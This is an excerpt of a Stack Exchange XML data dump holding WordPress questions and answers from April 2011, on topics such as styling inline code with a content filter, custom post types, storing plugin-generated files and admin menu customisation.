  <row Id="15551" PostTypeId="2" ParentId="15509" CreationDate="2011-04-25T15:18:17.880" Score="1" ViewCount="" Body="&lt;p&gt;If you still want to use SO-type backtick markup for styling your inline code examples, I've created some code that will accomplish it.  To make it into your own plug-in, just add the code below to your functions.php.  It calls the wordpress filter &quot;the_content&quot; to apply the transformation to the content when it is displayed, thereby keeping any transformations from becoming stored in the database.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function style_my_inline($content){&#xA;&#xA;//what you use to denote your code&#xA;$inline_marker = &quot;`&quot;;&#xA;&#xA;//regex for code&#xA;$pattern = &quot;/&quot;.$inline_marker.&quot;[\w\D\d]+?&quot;.$inline_marker.&quot;/&quot;;&#xA;preg_match_all($pattern,$content,$matches);&#xA;&#xA;//what you want your surrounding markup to be &#xA;$prepend_tag = &quot;&amp;lt;span class = \&quot;code\&quot;&amp;gt;&quot;;&#xA;$append_tag = &quot;&amp;lt;/span&amp;gt;&quot;;&#xA;&#xA;//for each occurance in preg match results...&#xA;foreach($matches as $match){&#xA;    for($i=0;$i&amp;lt;count($match);$i++){&#xA;        //remove inline marker from match text&#xA;        $match_without_inline_marker = str_replace($inline_marker,'',$match[$i]);&#xA;        //add surrounding markup to match&#xA;        $match_with_tags = $prepend_tag.$match_without_inline_marker.$append_tag;&#xA;        //replace match in original content with marked-up match&#xA;        $content = str_replace($match[$i],$match_with_tags,$content);&#xA;    }&#xA;}&#xA;&#xA;return $content;&#xA;}&#xA;&#xA;apply_filters(&quot;the_content&quot;,&quot;style_my_inline&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I tested the code above with some dummy text and used backticks to define code blocks like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Lorem ipsum dolor sit amet, `consectetur adipiscing elit`. Donec nec magna erat. `Aenean nisi ante`, semper vel imperdiet sed, laoreet.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then applied the following css:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;style type = &quot;text/css&quot;&amp;gt;&#xA;span.code{color:#56aaff;font-family:courier;background:#e5e5e5;padding:1px;}&#xA;&amp;lt;/style&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And what I get looks like this:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/5yl4y.png&quot; alt=&quot;screenshot of code block&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this works for you.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2011-04-25T15:18:17.880" />
  <row Id="15552" PostTypeId="2" ParentId="15530" CreationDate="2011-04-25T15:34:49.147" Score="1" ViewCount="" Body="&lt;p&gt;I would suggest you to go for something which is more obvious. Students as users, and store their info in usermeta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any user plugin or user related code will help you in managing users.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-04-25T15:34:49.147" CommentCount="5" />
  <row Id="15553" PostTypeId="1" CreationDate="2011-04-25T12:27:50.777" Score="0" ViewCount="61" Body="&lt;p&gt;I've created custom post types, and I have noticed that the labels (published &amp;amp; trash) are not displayed!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the label (all) count 0 even there are already posts!&#xA;Is there reasons for that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to reach to trashed posts so i can permanently delete them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;notice&lt;/strong&gt;: i use ultimate-post-type-manager.&lt;/p&gt;&#xA;" LastActivityDate="2011-04-25T16:28:02.263" Title="custom post trashed items !" Tags="&lt;custom-post-types&gt;&lt;trash&gt;" CommentCount="1" />
  <row Id="15554" PostTypeId="1" AcceptedAnswerId="15599" CreationDate="2011-04-25T16:54:17.517" Score="1" ViewCount="212" Body="&lt;p&gt;I'm working on a site that has 150,000 comments with an obvious hit in performance; is there an SQL query that can delete all comments older than say 90 days? They're not spam comments, and they are all approved; they're just too numerous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And: what about bulk changing all posts older than 90 days to untick &quot;Allow comments&quot; and &quot;Allow trackbacks and pingbacks&quot;? So they don't get re-commented?&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-04-26T02:16:45.203" Title="SQL query to delete comments older than 90 days?" Tags="&lt;comments&gt;&lt;mysql&gt;&lt;date-time&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="15555" PostTypeId="1" AcceptedAnswerId="15561" CreationDate="2011-04-25T17:00:55.777" Score="0" ViewCount="74" Body="&lt;p&gt;Is it possible to automatically email the daily archive.php page as an html email newsletter? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, at 4am every weekday WordPress would send an email of the 2011/04/25/ page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any input is greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="3711" LastEditorUserId="3711" LastEditorDisplayName="" LastEditDate="2011-04-25T17:20:41.257" LastActivityDate="2011-04-25T17:27:32.257" Title="Automatically email daily archive" Tags="&lt;email&gt;&lt;automate&gt;&lt;newsletter&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="15557" PostTypeId="1" AcceptedAnswerId="15560" CreationDate="2011-04-25T17:14:49.923" Score="2" ViewCount="64" Body="&lt;p&gt;Is there a plugin or a &quot;hack&quot; that can help me do this? I have spent hours try to figure this out so I would greatly appreciate nay help. I have WP 3.1 running php5 Thanks! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg.: &lt;strong&gt;postitle_image-ID.jpg&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="4872" LastActivityDate="2011-04-25T17:51:46.240" Title="Automatic image renaming based on title" Tags="&lt;3.1&gt;&lt;attachments&gt;&lt;file-manager&gt;" AnswerCount="1" />
  <row Id="15558" PostTypeId="2" ParentId="15525" CreationDate="2011-04-25T17:19:41.760" Score="2" ViewCount="" Body="&lt;p&gt;You are overloading the taxonomy &lt;strong&gt;category&lt;/strong&gt;. Learn to use &lt;a href=&quot;http://wordpress.stackexchange.com/questions/tagged/custom-taxonomy&quot;&gt;custom taxonomies&lt;/a&gt;.  Some of your categories are in fact &lt;em&gt;series&lt;/em&gt;, others belong into their own taxonomy too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace the hard coded navigation &lt;code&gt;ul&lt;/code&gt; with a &lt;a href=&quot;http://wordpress.stackexchange.com/questions/tagged/custom-menus&quot;&gt;nav menu&lt;/a&gt; and look into the TwentyTen theme: it has a working solution for your problem. You can use your &lt;a href=&quot;http://wordpress.stackexchange.com/questions/14037/menu-items-description/14039#14039&quot;&gt;own walker&lt;/a&gt; to adjust it even more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the first step to get a more professional look for your website is: drop Comic Sans. ;)&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-04-25T17:19:41.760" CommentCount="1" />
  <row Id="15559" PostTypeId="1" CreationDate="2011-04-25T17:21:29.477" Score="3" ViewCount="208" Body="&lt;p&gt;So I have this &lt;a href=&quot;https://github.com/mfields/Taxonomy-Images&quot; rel=&quot;nofollow&quot;&gt;plugin&lt;/a&gt; which associates images from the media upload modal to taxonomy terms via &lt;code&gt;/wp-admin/edit-tags.php&lt;/code&gt;. The current version is in the branch named &quot;button&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I've swapped out the &quot;Insert in Post&quot; button (input type=&quot;submit&quot;) with a custom &quot;Add Thumbnail to Taxonomy&quot; (span element) which calls an ajax script which creates an association between attachment and term. All of this works well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The part that I cannot figure out is how to save information when a user makes changes to the attachment data (title, caption, etc.). While it's not really necessary for the plugin to do this ... more than a handful of users have requested this. And it makes sense to do because WordPress will do this when inserting into post content using the &quot;Insert in Post&quot; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been through the javascript and I don't believe that the request is being sent asynchronously. The only thing that comes to mind is that because the &quot;Insert in Post&quot; button is an actual submit button, WordPress is submitting the modal form in the background while it is closed for the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to implement similar functionality in my plugin by changing the span to a submit input, but this does no good at all. Firebug reports a 404 for my custom Ajax request and the modal does not close. This is really odd to me because the image still gets associated with the term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or suggestions would be greatly appreciated here!&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-06-25T09:17:04.627" Title="How to save attachment data?" Tags="&lt;media-library&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="15560" PostTypeId="2" ParentId="15557" CreationDate="2011-04-25T17:24:58.343" Score="1" ViewCount="" Body="&lt;p&gt;Hook into the filter &lt;code&gt;'sanitize_file_name'&lt;/code&gt;. See my &lt;a href=&quot;https://github.com/toscho/Germanix-WordPress-Plugin/blob/master/germanix_url.php&quot; rel=&quot;nofollow&quot;&gt;plugin Germanix URL&lt;/a&gt; for a working example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A plugin doing this is &lt;a href=&quot;http://wordpress.org/extend/plugins/rename-media/&quot; rel=&quot;nofollow&quot;&gt;Rename Media&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-04-25T17:51:46.240" LastActivityDate="2011-04-25T17:51:46.240" CommentCount="2" />
  <row Id="15561" PostTypeId="2" ParentId="15555" CreationDate="2011-04-25T17:27:32.257" Score="2" ViewCount="" Body="&lt;p&gt;I do not think this is built into WordPress currently. This would probably need to be custom-built. It would be some php code that is attached to a cron job. Set the cron job to run every day, and have your php script email out the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These resources may help:&#xA;&lt;a href=&quot;http://ss64.com/osx/crontab.html&quot; rel=&quot;nofollow&quot;&gt;http://ss64.com/osx/crontab.html&lt;/a&gt; (via &lt;a href=&quot;http://stackoverflow.com/questions/5256429/how-to-use-crontab-for-sending-weekly-email-in-php&quot;&gt;http://stackoverflow.com/questions/5256429/how-to-use-crontab-for-sending-weekly-email-in-php&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-04-25T17:27:32.257" CommentCount="1" />
  <row Id="15562" PostTypeId="1" AcceptedAnswerId="15563" CreationDate="2011-04-25T17:40:11.903" Score="2" ViewCount="109" Body="&lt;p&gt;There are cases in which a plugin or theme needs to create a php file somewhere that can later include it. For example a captcha plugin, or some kind of a templating system like twig/smarty (In my situation it's simple template engine for a collection of widgets).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where should be this file created?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only place I can think of is &lt;code&gt;wp-content/uploads/&lt;/code&gt;, but that just doesn't sound right :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there a safe place where you can create files, and not worry about them being deleted on WordPress/plugin/theme update ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One solution could be to create a child theme / directory in the themes / plugins directory...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-04-29T14:58:52.383" Title="Where to store PHP files created by plugin / themes" Tags="&lt;plugin-development&gt;&lt;theme-development&gt;&lt;php&gt;&lt;filesystem&gt;" AnswerCount="5" />
  <row Id="15563" PostTypeId="2" ParentId="15562" CreationDate="2011-04-25T17:42:52.420" Score="3" ViewCount="" Body="&lt;p&gt;The appropriate place IMHO would be a custom folder that you create inside the wp-content directory Read this before creating files: &lt;a href=&quot;http://ottopress.com/2011/tutorial-using-the-wp_filesystem/&quot; rel=&quot;nofollow&quot;&gt;http://ottopress.com/2011/tutorial-using-the-wp_filesystem/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-04-25T17:42:52.420" />
  <row Id="15564" PostTypeId="2" ParentId="15562" CreationDate="2011-04-25T17:43:46.290" Score="1" ViewCount="" Body="&lt;p&gt;If you must create files (such as temporary files for a CAPTCHA Plugin), you should definitely use &lt;code&gt;\wp-content\uploads\&lt;/code&gt; (or a custom directory such as &lt;code&gt;\wp-content\plugin-slug-files\&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most other custom code should really be stored in the Database.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-25T17:43:46.290" CommentCount="7" />
  <row Id="15565" PostTypeId="2" ParentId="15562" CreationDate="2011-04-25T17:48:44.743" Score="1" ViewCount="" Body="&lt;p&gt;You cannot rely on write access in the plugin or theme directory, so &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_upload_dir&quot; rel=&quot;nofollow&quot;&gt;wp_upload_dir()&lt;/a&gt; is the only possible directory.&lt;br&gt;&#xA;&lt;strong&gt;But&lt;/strong&gt; I really doubt that there is a need to store the information in a new file. If the template is created by the user, store it in an option an parse the content with your regular plugin functions (for example by replacing placeholders with &lt;code&gt;strtr()&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-04-25T17:48:44.743" CommentCount="1" />
  <row Id="15566" PostTypeId="1" CreationDate="2011-04-25T18:12:46.167" Score="0" ViewCount="123" Body="&lt;p&gt;Any posts, posted on to sub-domain should be visible on the MainDomain.com.  Sitetags works fine, but does not update itself.  Any idea how how to make an auto update on the main blog page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Jean&lt;/p&gt;&#xA;" OwnerUserId="4875" LastActivityDate="2011-08-24T15:34:12.247" Title="Post all new posts on to main blog site" Tags="&lt;multisite&gt;" AnswerCount="2" />
  <row Id="15567" PostTypeId="1" AcceptedAnswerId="15720" CreationDate="2011-04-25T18:23:58.750" Score="5" ViewCount="283" Body="&lt;p&gt;I have re-worded this to make more sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, I have a plugin that uses a remote service that check for updates, much like default WordPress plugins, in this case it just checks an XML file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to show a menu bubble like this &lt;img src=&quot;http://i.stack.imgur.com/rZZiu.png&quot; alt=&quot;enter image description here&quot;&gt; when an update is available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can show just a &quot;1&quot; or text like &quot;alert&quot;, it doesn't matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since my plugin uses an options page (using &lt;code&gt;add_options_page&lt;/code&gt;) the plugin settings show up under the default &quot;Settings&quot; submenu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I need to add the following CSS to get the bubble to show up, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span class='update-plugins count-1' title='title'&amp;gt;&amp;lt;span class='update-count'&amp;gt;1&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and tie into the global &lt;code&gt;$submenu&lt;/code&gt;. The problem is I cannot use a hard-coded array value for the menu since each site will have different values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I cannot use &lt;code&gt;$submenu[80][10] .= &amp;lt;span class='update-plugins count-1' title='title'&amp;gt;&amp;lt;span class='update-count'&amp;gt;1&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I find my plugins submenu value, do I have to loop through the array and match the string values?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also even when I hard-coded the values I could not get the bubble to show up.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//adding plugin to menu&#xA;add_action('admin_menu', 'sec_plugin_checker');&#xA;&#xA;function sec_plugin_checker() {&#xA;  add_options_page(' Plugin Checker', 'Plugin Check', 'activate_plugins', &#xA;  'sec_plugin_check', 'sec_checker');&#xA;&#xA;&#xA;// the conditional where I want the bubble to appear&#xA;&#xA;if (!empty($matches)){ &#xA;    echo &quot;Match found !&amp;lt;br /&amp;gt;&quot;;&#xA;&#xA;    global $submenu;&#xA;    foreach( $submenu as $item ) {&#xA;&#xA;    $item[41][20] = sprintf( __( 'Updates %s', 'sec_plugin_checker' ),  &#xA;                &quot;&amp;lt;span class='update-plugins count-1' title='title'&amp;gt;&#xA;                 &amp;lt;span class='update-count'&amp;gt;1&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&quot;);  &#xA;&#xA;       }&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here is what a &lt;code&gt;var_dump($submenu);&lt;/code&gt; looks like, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[&quot;options-general.php&quot;]=&amp;gt;&#xA;array(9){&#xA;...&#xA;&#xA;[41]=&amp;gt;&#xA;    array(4) {&#xA;      [0]=&amp;gt;&#xA;      string(20) &quot;Plugin Check&quot;&#xA;      [1]=&amp;gt;&#xA;      string(16) &quot;activate_plugins&quot;&#xA;      [2]=&amp;gt;&#xA;      string(21) &quot;sec_plugin_check&quot;&#xA;      [3]=&amp;gt;&#xA;      string(23) &quot; Plugin Checker&quot;&#xA;&#xA;     ...&#xA;&#xA;      }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-27T07:17:25.690" LastActivityDate="2011-04-27T08:17:45.927" Title="Add update notification bubble to admin menu item?" Tags="&lt;admin-menu&gt;&lt;notifications&gt;&lt;add-options&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="4" />
  <row Id="15568" PostTypeId="2" ParentId="15444" CreationDate="2011-04-25T18:26:16.700" Score="1" ViewCount="" Body="&lt;p&gt;You can try to output the admin bar at a different location, but &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.1/wp-includes/js/admin-bar.dev.js#L124&quot; rel=&quot;nofollow&quot;&gt;the included Javascript always moves the bar to the &lt;code&gt;body&lt;/code&gt; element&lt;/a&gt; - probably to make it work when a theme has not closed all HTML elements at the end of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you want to move it somewhere else, you must do this &lt;em&gt;after&lt;/em&gt; the standard script moved it to the body. I did this by loading the script in the footer, after the admin bar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse15444_wp_print_scripts()&#xA;{&#xA;    if ( ! is_admin() ) {&#xA;        wp_enqueue_script( 'wpse-15444', plugins_url( 'wpse-15444.js', __FILE__ ), array( 'jquery' ), false, true );&#xA;    }&#xA;}&#xA;&#xA;// wpse-15444.js&#xA;jQuery( window ).load( function() {&#xA;    jQuery( '#wpadminbar' ).appendTo( jQuery( '#wpse15444-admin-bar-container' ) );&#xA;} );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because the bar normally has &lt;code&gt;position: fixed&lt;/code&gt; you won't see it move, so make it &lt;code&gt;position: absolute&lt;/code&gt; in your own stylesheet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By adding the &lt;code&gt;wpse1544-admin-bar-container&lt;/code&gt; in the &lt;code&gt;#header&lt;/code&gt; of the Twenty Ten theme, I got the following result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/KhHwq.png&quot; alt=&quot;Admin bar in header instead of top of page&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-25T18:26:16.700" CommentCount="1" />
  <row Id="15569" PostTypeId="1" CreationDate="2011-04-25T18:39:32.520" Score="0" ViewCount="117" Body="&lt;p&gt;I've added a separate menu page (an object page) with minimum access level required as 'Subscriber'. I'm doing this because I'm registering new users and they'll be 'Subscribers' with an extra capability to edit a section that my plugin creates. So I want them to be able to see this menu as well. I created my menu page as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_object_page('Personal Section', 'Personal Section', 'subscriber', 'personal-section', 'personal_section_fn');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when I log in with the subscriber credentials, I'm able to see this menu, but I'm not able to see it when logged in as Admin. Am I doing something wrong here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="4740" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-04-25T23:34:41.157" LastActivityDate="2011-04-25T23:34:41.157" Title="Menu page with minimum capability as 'Subscriber' doesn't allow 'Admin' to access it?" Tags="&lt;plugin-development&gt;&lt;menus&gt;&lt;roles&gt;&lt;capabilities&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="15570" PostTypeId="1" CreationDate="2011-04-25T19:00:15.750" Score="2" ViewCount="301" Body="&lt;p&gt;Okay guys, here's the scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm am trying to setup a function that will automatically duplicate a post (when published) over to another post type. So, a regular blog post is published, and when it is published, all of its information is copied over to a custom post type (for WP ECommerce), automatically creating a store entry for that blog post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've written a function that takes care of picking up all of the information and inserting it into a new post with wp_insert_post(). It all works great, except for one thing. I'm using wp_set_object_terms() to set the store category ids of the new product based on the tags of the blog post. However, for some reason, wp_set_object_terms() never works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, here's the catch. I'm running all of this on a multi site install and am using &lt;a href=&quot;http://wordpress.org/extend/plugins/threewp-broadcast/&quot; rel=&quot;nofollow&quot;&gt;threeWP_Broadcast&lt;/a&gt; to allow me to cross publish posts. The blog posts (which have to be copied to the store) are published from a sub site and broadcasted to the main site. The store is on the main site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I've hooked my custom function into the broadcast plugin so that it gets fired when a post is broadcasted from a sub site to the main site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything with my function works great, except for the wp_set_object_terms()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function copy_post_to_store_product() {&#xA;&#xA;global $blog_id;&#xA;global $wpdb;&#xA;&#xA;// only copy the post over if on main site, not subsites&#xA;if ($blog_id == 1) {&#xA;&#xA;    $args = array('numberposts' =&amp;gt; 1);&#xA;    $latest = get_posts($args);&#xA;    foreach($latest as $post) : setup_postdata($post);&#xA;&#xA;        // if NOT Tip and NOT source avail, create product&#xA;        // if source, price is ALWAYS $4&#xA;        // auto create for source files only -- regular post type&#xA;&#xA;        $custom_meta = get_post_custom($post-&amp;gt;ID);&#xA;&#xA;        // what kind of post is this?&#xA;        $post_type = $custom_meta['cgc_post_type'][0];&#xA;        // does this post have a source file product associated with it?&#xA;        $source_avail = $custom_meta['cgc_source_avail'][0];&#xA;&#xA;        // source file price&#xA;        $price = '4';&#xA;&#xA;&#xA;        $product_info = array(&#xA;            'post_title'    =&amp;gt; $post-&amp;gt;post_title,&#xA;            'post_type'     =&amp;gt; 'wpsc-product',&#xA;            'post_content'  =&amp;gt; $post-&amp;gt;post_content,&#xA;            'post_author'   =&amp;gt; $post-&amp;gt;post_author,&#xA;            'post_status'   =&amp;gt; 'draft', &#xA;        );&#xA;&#xA;&#xA;        if($post_type == 'Regular' &amp;amp;&amp;amp; $source_avail == true) {&#xA;            // only auto create product for Regular posts that have source files for sale&#xA;            $product_id = wp_insert_post($product_info);&#xA;            update_post_meta($product_id, '_wpsc_price', $price);&#xA;&#xA;            if (has_tag('blender', $post-&amp;gt;ID)) &#xA;            { &#xA;                $product_cats = array(23,32);&#xA;            }&#xA;            elseif (has_tag('max', $post-&amp;gt;ID)) {&#xA;                $product_cats = array(23,34);&#xA;            }&#xA;            elseif (has_tag('modo', $post-&amp;gt;ID)) {&#xA;                $product_cats = array(23,19);&#xA;            }&#xA;&#xA;            // set the product categories&#xA;            wp_set_object_terms($product_id, $product_cats, 'wpsc_product_category' );&#xA;&#xA;        }&#xA;&#xA;&#xA;    endforeach;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function works by retrieving the latest post from the main site ($blog_id == 1) and copying all of its information into variables for wp_insert_post().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the really interesting thing is that works perfectly if I attach the function to a publish_post hook, but, unfortunately, I can't do that because that hook doesn't fire when a post is broadcasted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas would be hugely appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-05-05T19:04:45.880" Title="wp_set_object_terms() Fails to Set Terms" Tags="&lt;taxonomy&gt;&lt;terms&gt;&lt;broadcast&gt;&lt;wp-set-object-terms&gt;&lt;wp-insert-post&gt;" AnswerCount="2" CommentCount="6" />
  <row Id="15571" PostTypeId="2" ParentId="15566" CreationDate="2011-04-25T19:06:34.370" Score="0" ViewCount="" Body="&lt;p&gt;Use ThreeWP_Broadcast. It's a great plugin for doing that.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-04-25T19:06:34.370" CommentCount="5" />
  <row Id="15572" PostTypeId="2" ParentId="12775" CreationDate="2011-04-25T19:08:23.877" Score="2" ViewCount="" Body="&lt;p&gt;It would depend on the speed of the NFS and the speed of the local network.  If your using an object cache like &lt;a href=&quot;http://php.net/manual/en/book.apc.php&quot; rel=&quot;nofollow&quot;&gt;APC&lt;/a&gt; the plugins and theme file folders will not be effected because they will be loaded in memory.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better solution would be to use a CDN or even create your own CDN using a lightweight static file server like &lt;a href=&quot;http://wiki.nginx.org/&quot; rel=&quot;nofollow&quot;&gt;Nginx&lt;/a&gt; for blogs.dir. &lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;W3 Total Cache&lt;/a&gt; has built in transparent content delivery network (CDN) integration with Media Library, theme files and WordPress static files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do decide on an NFS there are steps you can take to &lt;a href=&quot;http://nfs.sourceforge.net/nfs-howto/ar01s05.html&quot; rel=&quot;nofollow&quot;&gt;optimize the performance&lt;/a&gt; like the use of &lt;a href=&quot;http://en.wikipedia.org/wiki/Non-volatile_memory&quot; rel=&quot;nofollow&quot;&gt;NonVolatile RAM&lt;/a&gt;, mounting the file system as RAID 0 and making sure you are using &lt;a href=&quot;http://tweaks.clustermonkey.net/index.php/3.1_UDP_vs._TCP&quot; rel=&quot;nofollow&quot;&gt;UDP instead of TCP&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-25T19:08:23.877" CommentCount="1" />
  <row Id="15573" PostTypeId="2" ParentId="859" CreationDate="2011-04-25T19:11:51.713" Score="0" ViewCount="" Body="&lt;p&gt;Is a very very good example, thank you very much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to adapt your code to a custom post type with custom taxonomy without success. I've changed 'meta_value' with the tax name, but I can't get the link I need from the menu. My menu has only elements of a custom taxonomy (category).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried get_term_link() instead of get_page_link() but it doesn't get the real link, in this example would be &lt;/p&gt;&#xA;&#xA;&lt;p&gt;get_term_link($page_menu_item, 'products')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but only get this link: blog url +&#xA;?taxonomy=&amp;amp;term=&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you help me? thank you very much in advance.&lt;/p&gt;&#xA;" OwnerUserId="4878" LastActivityDate="2011-04-25T19:11:51.713" />
  <row Id="15574" PostTypeId="1" AcceptedAnswerId="15595" CreationDate="2011-04-25T19:35:03.713" Score="5" ViewCount="191" Body="&lt;p&gt;Guys, I need to know how to do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I receive a comment ...&#xA;This comment must be approved by three moderators.&#xA;To appear on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how to do it or some plugin?&lt;/p&gt;&#xA;" OwnerUserId="4879" LastActivityDate="2011-05-04T14:52:55.923" Title="3 moderators to approve comment" Tags="&lt;comments&gt;&lt;moderation&gt;" AnswerCount="1" FavoriteCount="3" />
  <row Id="15575" PostTypeId="1" CreationDate="2011-04-25T19:41:22.940" Score="2" ViewCount="364" Body="&lt;p&gt;I'm using WordPress as a Facebook platform and have a page that shows posts from 2 different categories.&#xA;Each category has it's own pagination using wp-pagenavi. In order to stay in Facebook I need the pagination links to load using ajax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen &lt;a href=&quot;http://www.1stwebdesigner.com/css/implement-ajax-wordpress-themes/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; article which gives a nice clue about it, but would love to know if anyone had already solved this and has any leads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main issue here (and this is stupid), I get that I need to call an ajax function with jQuery and pass it the specific category and the desired page number. I have no idea how to get the page number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But once again, if you have an already made solution - it will be much appreciated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I tried using &lt;a href=&quot;http://www.wpmods.com/easily-ajax-wordpress-pagination&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; tutorial, the tab code can be seen &lt;a href=&quot;http://test.hannitcohen.co.il/nir/wordpress/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. as you can see pagination affects both categories :-(&lt;/p&gt;&#xA;" 